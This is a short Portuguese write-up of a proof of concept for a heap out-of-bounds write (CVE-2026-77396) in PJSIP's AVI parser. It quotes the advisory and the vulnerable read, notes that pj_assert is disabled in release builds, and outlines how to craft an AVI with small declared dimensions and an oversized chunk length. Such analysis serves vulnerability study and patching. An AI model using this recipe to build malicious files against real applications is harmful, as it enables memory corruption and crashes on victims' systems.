Prova de conceito que cria um arquivo AVI malicioso para acionar uma gravação fora dos limites do heap no analisador AVI do PJSIP (CVE-2026-77396), com verificação ASan e análise de patch.
Descrição do NIST sobre CVE:
PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser
in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame
buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an
attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames.
The existing size assertion does not protect production release builds, where assertions are disabled. Typical local
playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption
condition. No fixed version is available as of this review.

basicamente a parte vulnerável:
pj_assert(frame->size >= ch.len);
status = file_read3(fport->fd, frame->buf, ch.len, 0, &size_read);
frame->size = ch.len;
ch é um cabeçalho de chunk lido do arquivo AVI; ele tem um campo len que indica quantos bytes o chunk de vídeo contém. frame->buf é um buffer de heap alocado com base nas dimensões declaradas do vídeo (largura × altura × bytes por pixel).
isso deveria ser uma verificação: pj_assert(frame->size >= ch.len)
mas pj_assert é uma no-op em builds de release/produção. Portanto, em qualquer implantação real, não há validação alguma. O código simplesmente lê ch.len bytes diretamente para frame->buf.
em palavras humanas, em builds de debug: pj_assert(frame->size >= ch.len) faria o programa travar se a condição fosse falsa. Em builds de release: essa linha desaparece, nenhuma verificação acontece, e file_read3 grava alegremente ch.len bytes em um buffer que é pequeno demais.
crie um arquivo AVI onde:
O cabeçalho do stream de vídeo declara dimensões pequenas (digamos 16×16) -< alocação pequena de frame->buf Um chunk de vídeo na seção de dados declara um ch.len grande → file_read3 grava muito além do buffer
